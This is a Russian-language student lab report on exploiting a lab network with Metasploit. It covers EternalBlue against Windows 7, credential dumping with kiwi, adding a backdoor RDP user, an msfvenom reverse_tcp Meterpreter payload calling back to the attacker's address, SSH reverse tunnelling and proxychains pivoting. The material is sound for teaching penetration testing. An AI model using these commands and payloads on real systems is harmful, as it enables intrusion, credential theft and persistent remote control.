# Практика №3. Эксплутация уязвимостей. MetaSplot Framework Импортировали топологию в pnet-lab ![](https://i.imgur.com/Tu5NvXH.png) ## Настройка Firewall, Windows 7, Debian > DHCP - сетевой протокол, позволяющий сетевым устройствам автоматически получать IP-адрес и другие параметры, необходимые для работы в сети TCP/IP. Данный протокол работает по модели «клиент-сервер». Зайдём на Debian и посмотрим интерфейсы ![](https://i.imgur.com/gFQwhXM.png) Видим, что есть настройка DHCP ![](https://i.imgur.com/WCr9yWn.png) Debian получил ip ![](https://i.imgur.com/QYfRJKl.png) Получение адреса по протоколу DHCP на межсетевом экране pfSense. При запуске межсетевого экрана можно увидеть надписи: “WAN” - адрес устройств при выходе в интернет, “LAN” - адрес данного устройства в локальной сети, по нему так же можно определить сеть, адреса из которой будут получать устройства во внутренней сети. > WAN (Wide Area Network) - глобальная вычислительная сеть, компьютерная сеть, охватывающая большие территории и включающая большое число узлов, возможно находящиеся в различных городах и странах. > LAN (Local Area Network) - это совокупность устройств, соединённых вместе в одном физическом месте, например, в здании, офисе или доме. > Firewall работает, видим внутренний и внешний ip ![](https://i.imgur.com/EPVQ24l.png) На windows 7 выбираем set network location - work (сеть предприятия) ![](https://i.imgur.com/9Tt6UcC.png) Переходим по внутреннему айпи и заходим на pfsense ![](https://i.imgur.com/y2f938r.png) ![](https://i.imgur.com/rvtmCLI.png) В командной строке windows 7 смотрим конфигурацию Видим, какой ip у windows 7 ![](https://i.imgur.com/8DsSLsw.png) Далее с помощью межсетевого экрана pfSense можно настроить технологию “port-forwarding”. > Форвардинг портов (или перенаправление портов) – это процесс переадресации запросов одного порта на другой хост, порт или сеть. Добавляем форвординг до нашей системы. 1. Пробрасываем 445 порт до винды В поле address указываем адрес самого устройства, к которому проводится доступ (ip-адрес Windows 7), в полях destination port range и redirect target port указывается, с какого и на какой порт перенаправляется трафик. > Порт 445 используется ОС Windows для совместной работы с файлами. ![](https://i.imgur.com/NI7PpFR.png) 2. Пробрасываем 3389 порт (rdp) до винды > Протокол удаленнего рабочего стола (RDP) предоставляет возможности удаленного отображения и ввода через сетевые подключения для приложений на основе Windows, работающих на сервере. Протокол RDP предназначен для поддержки различных типов сетевых топологий и нескольких протоколов локальной сети. ![](https://i.imgur.com/KDxa2V3.png) Теперь правила проброса портов были созданы ![](https://i.imgur.com/tTxGo8m.png) Также в interfasces/WAN необходимо убрать эти галочки, чтобы убрать блокировку локальных и bogon адресов (приватных адресов) ![](https://i.imgur.com/wKbiA6h.png) На windows 7 проверяем, что разрешены подключения по удаленному доступу. ![](https://i.imgur.com/o9IYvkt.png) ## Сканирование внешнего интерфейса фаервола сетевым сканером nmap На кали линуксе 2022 для начала смотрим наш ip - 192.168.184.134 ![](https://i.imgur.com/E4kJqMS.png) Далее с помощью утилиты nmap в агрессивном режиме сканируем внешний ip pfsense, задав в условии только интересующие нас порты 445 и 3389 Видим наши открытые порты, некоторую информацию об ОС, информацию о сессии пользователя системы, использовавшего устройство ![](https://i.imgur.com/7HVPWhv.png) ![](https://i.imgur.com/JtJf8Sz.png) Чтобы получить больше информации об уязвимостях, воспользуемся той же утилитой nmap со скриптом vuln и флагами: -sV: Исследовать открытые порты для определения информации о службе/версии --script: сканирование с использованием скриптов -p <диапазон_портов>: Сканирование только определенных портов > Скрипты, относящиеся к категории “vuln”, ищут определенные известные уязвимости и сообщают о них только в том случае, если они обнаружены в целевой системе. ![](https://i.imgur.com/hcBKu52.png) Видим критическую уязвимость ms17-010 > К семейству “EXPLOIT.WIN32.MS17-010” относятся вредоносные объекты, которые эксплуатируют уязвимость в алгоритме протокола SMB (сетевого протокола прикладного уровня для удалённого доступа к файлам, принтерам и другим сетевым ресурсам, а также для межпроцессного взаимодействия), реализованном в операционных системах семейства Windows. Больше известны под названием “EternalBlue”. При удачном исходе атаки злоумышленник может выполнить свой код от имени пользователя system. Запускаем msfconsole > Metasploit Framework — это мощнейший инструмент, который могут использовать как киберпреступники, так и «белые хакеры» и специалисты по проникновению для исследования уязвимостей в сетях и на серверах. Поскольку это фреймворк с открытым исходным кодом, его можно легко настроить и использовать на большинстве операционных систем. > С помощью Metasploit пентестеры могут использовать готовый или создать пользовательский код и вводить его в сеть для поиска слабых мест. В качестве еще одного способа поиска угроз, после идентификации и документирования недостатков, эту информацию можно использовать для устранения системных недостатков и определения приоритетности решений. ![](https://i.imgur.com/f6geC8c.png) Ищем эксплойты для уязвимости ms17-010 ![](https://i.imgur.com/DmrZ252.png) Используем эксплойт под номером 0 (eternalblue). У нас автоматически сконфигурировался payload. Затем смотрим опции. ![](https://i.imgur.com/DNwXZqJ.png) Нам необходимо прописать команду ``` set RHOSTS 192.168.184.135 ``` чтобы установить хост Теперь запустим эксплойт ![](https://i.imgur.com/0divK9a.png) > Meterpreter - это расширенная многофункциональная нагрузка (payload), которая используется в инструменте Metasploit Framework как унифицированная основа для постэксплуатации. Можно сказать, что Meterpreter - это Linux-терминал на компьютере жертвы. Теперь легко можем получить скрин экрана винды ![](https://i.imgur.com/vypvMQ5.png) Готово ![](https://i.imgur.com/IJ4vi9h.png) ![](https://i.imgur.com/AsFnvXR.png) Машинки отвалились, после перезапуска изменились ip ![](https://i.imgur.com/QZqCY78.png) ![](https://i.imgur.com/c9ta57H.png) ![](https://i.imgur.com/8unwO3f.png) Переделаем шаги для другого ip и продолжим Загружаем киви > Утилита kiwi нужна для вывода конфиденциальных данных, таких как получение паролей или хешированной информации. ![](https://i.imgur.com/vWEvJgt.png) Смотрим всю информацию о пользователях в системе с помощью команды ``` creds_all ``` ![](https://i.imgur.com/QkzHyfe.png) Дальше смотрим все доступные команды ![](https://i.imgur.com/ODIoveq.png) Находим команду добавления нового пользователя ![](https://i.imgur.com/gmG3yEP.png) Выполняем команду ![](https://i.imgur.com/85IbeFN.png) Смотрим опции и видим, что не прописана сессия, затем смотрим сесиию, задаем сессию, задаём имя пользователя, запускаем эксплойт ![](https://i.imgur.com/WRK9yML.png) > Интересным для нас, является получение доступа к удаленному рабочему столу. Остановимся на этом вопросе подробнее, так как все средства для этого у нас есть. Скрипт, выполняющий все настройки подключения называется getgui. Перейдём в сессию и добавим нового пользователя с помощью команды ``` run getgui -u USERNAME -p PASSWORD ``` ![](https://i.imgur.com/k93H0n7.png) В windows 7 можем посмотреть, что пользователь действительно добавлен ![](https://i.imgur.com/HhkVUMW.png) ## Получение доступа к Windows 10 Создадим пользователя не относящегося ни к какой группе с привилегиями ![](https://i.imgur.com/IihURw5.png) Отключаем брандмауэр ![](https://i.imgur.com/jnwVt62.png) Разрешаем удалённый доступ ![](https://i.imgur.com/fCYyJQZ.png) Заходим под этим пользователем ![](https://i.imgur.com/4rNm83z.png) Один из вариантов проксирования может быть проброс портов с помощью ssh-туннелирования Remote TCP forwarding (удалённый доступ). > Прокси-сервер - это сервер-посредник между пользователем и интернет-ресурсом. Человек подключается не напрямую к серверу нужного сайта, а к прокси-серверу - и уже он передаёт данные на сайт и отправляет обратно в браузер пользователя. > SSH - сетевой протокол, который используется для удалённого управления ОС и проксировании TCP-соединений. Выполняет шифрование всего трафика. На кали запустим оболочку и включаем ssh ![](https://i.imgur.com/GgqUxEm.png) Смотрим открытые порты ![](https://i.imgur.com/A54c2QT.png) Теперь нужно устанавливать ssh-соединение в обратном направлении — от «host2» к «host1». Т.е. наша административная рабочая станция будет SSH-сервером и будет доступна по SSH с «host2», а на «host2» нужно будет выполнить подключение SSH-клиентом: `ssh -R 3390:localhost:3389 user@192.168.184.134(host1)` где -R - удаленное подключение, localhost - система клиента, 3390 - выбранный нами порт, 3389 - порт подключения(RDP), user@192.168.184.134 - Kali Linux, которому мы предоставляем подключение. На windows 10 открываем командную строку и выполняем ![](https://i.imgur.com/NJA8bJG.png) Смотрим новые подключения с помощью команды ss и флагов: -t - выводит список портов TCP; -u - выводит список портов UDP; -l - выводит только слушающие (Listen) сокеты; -n - показывает номер порта; -p - показывает имя процесса или программы. ![](https://i.imgur.com/7QlDwZy.png) Затем подключаемся к windows 10 с помощью утилиты удалённого подключения freerdp по протоколу RDP > Утилита freerdp - бесплатная реализация протокола удалённого рабочего стола (RDP) ``` xfreerdp /u:user /p:eve@123 /v:127.0.0.1:3390 ``` В опциях /u и /p необходимо указать пользователя системы, к которой идёт подключение, и пароль соответственно, в опции /v необходимо указать ip-адрес сервера, к которому нужно подключиться. ![](https://i.imgur.com/9yqWPw1.png) Получаем удалённый доступ к windows 10 ![](https://i.imgur.com/rwXj9f4.png) Для взлома win10 создадим payload, используя инструкции: MSFVenom: https://www.offensive-security.com/metasploit-unleashed/msfvenom/ Payload: https://habr.com/ru/company/ruvds/blog/343612/ Создаем payload: > MSFvenom Payload Creator (MSFPC), создатель полезной нагрузки MSFvenom, - это обёртка для создания нескольких типов полезной нагрузки на основе выбора пользователя. Идея в том, чтобы упростить, насколько возможно (требуется только один ввод), создание полезной нагрузки. ``` msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.184.134 LPORT=5555 -f exe -o meterpreter.exe ``` ![](https://i.imgur.com/HgfumrA.png) Поднимаем сервер для передачи ексешника с помощью модуля языка Python, который предоставляет возможность поднять локальный сервер по указанному порту: ``` python -m http.server 80 ``` ![](https://i.imgur.com/aUk4Gps.png) Выполним на windows 10 этот файл ![](https://i.imgur.com/C6ZnuZj.png) ![](https://i.imgur.com/ZDGGMa2.png) Ничего не произошло, понимаем, что необходимо настроить сервер > Уязвимость exploit/multi/handler нужна для эксплоитов, которые будут запускаться в неизвестном контексте неизвестно когда. Запускаем консоль, используем exploit/multi/handler и устанавливаем payload meterpreter/reverse_tcp ![](https://i.imgur.com/XewRdM4.png) Смотрим опции, видим, что нет хоста ![](https://i.imgur.com/Z3xcBIv.png) Прописываем хост (указываем адрес 0.0.0.0, чтобы прослушивались все интерфейсы) и меняем порт (локальным портом будет порт, указанный при создании нагрузки) ![](https://i.imgur.com/cRybE7r.png) Теперь снова запустим на windows meterpreter.exe ![](https://i.imgur.com/MAfrmK8.png) В результате на Kali Linux у нас появилась meterpreter сессия windows 10 ![](https://i.imgur.com/sZOn9em.png) ## Проксирование Смотрим тут же айпиконфиг windows 10, чтобы узнать адрес внутренней сети, необходимо прописать команду “ipconfig”. Здесь видно, что был найден локальный адрес устройства: 192.168.1.100. ![](https://i.imgur.com/jLAhFLv.png) Получается сеть, к которой получаем доступ - это 192.168.1.0. Пропишем маршрутизацию через внешний адрес инфраструктуры. ![](https://i.imgur.com/FCuNstm.png) Поищем в сети айпишники с помощью сканера arp_scanner. Так как работала только windows 10, то её айпишник мы и увидим. ![](https://i.imgur.com/KU57IBR.png) > SOCKS – это интернет-протокол, который используется для передачи пакетов с данными от сервера к клиенту с помощью промежуточного прокси-сервера. На сегодня это наиболее продвинутая массовая технология для организации прокси. При ее использовании трафик проходит через прокси-сервер, который использует собственный IP-адрес, с которого уже идет финальное подключение к нужному адресату. Наиболее свежая спецификация протокола – это SOCKS5. Найдём socks и посмотрим доступные опции ![](https://i.imgur.com/u7lXeFF.png) Запустим socks_proxy ![](https://i.imgur.com/IUb6v8q.png) > Proxychains – это программа, которая позволяет нам маскировать наш IP-адрес путем перенаправления сетевого трафика. Отредактируем файл конфигурации, добавим данное соединение в конфигурацию прокси, чтобы на Kali Linux всё работало ![](https://i.imgur.com/WEKHlW5.png) В файле укажем только что созданное соединение ![](https://i.imgur.com/nLadYxf.png) Затем запустим команду nmap через утилиту proxychains с использованием флагов: -sT - сканирование TCP-соединений -sV - проверка открытых портов для определения информации о службе/версии -Pn - пропуск проверки обнаружения хост -n - убрать преобразование в DNS-адрес (Reverse DNS lookup) ![](https://i.imgur.com/SMNbZCE.png) Были обнаружены 139, 445, 3389 порты. > Порт 139 используется сеансовой службой NetBIOS, которая активизирует браузер поиска других компьютеров, службы совместного использования файлов, Net Logon и службу сервера. > Порт 445 используется ОС Windows для совместной работы с файлами. > Порт 3389 использует протокол удаленнего рабочего стола (RDP) предоставляет возможности удаленного отображения и ввода через сетевые подключения для приложений на основе Windows, работающих на сервере. Протокол RDP предназначен для поддержки различных типов сетевых топологий и нескольких протоколов локальной сети.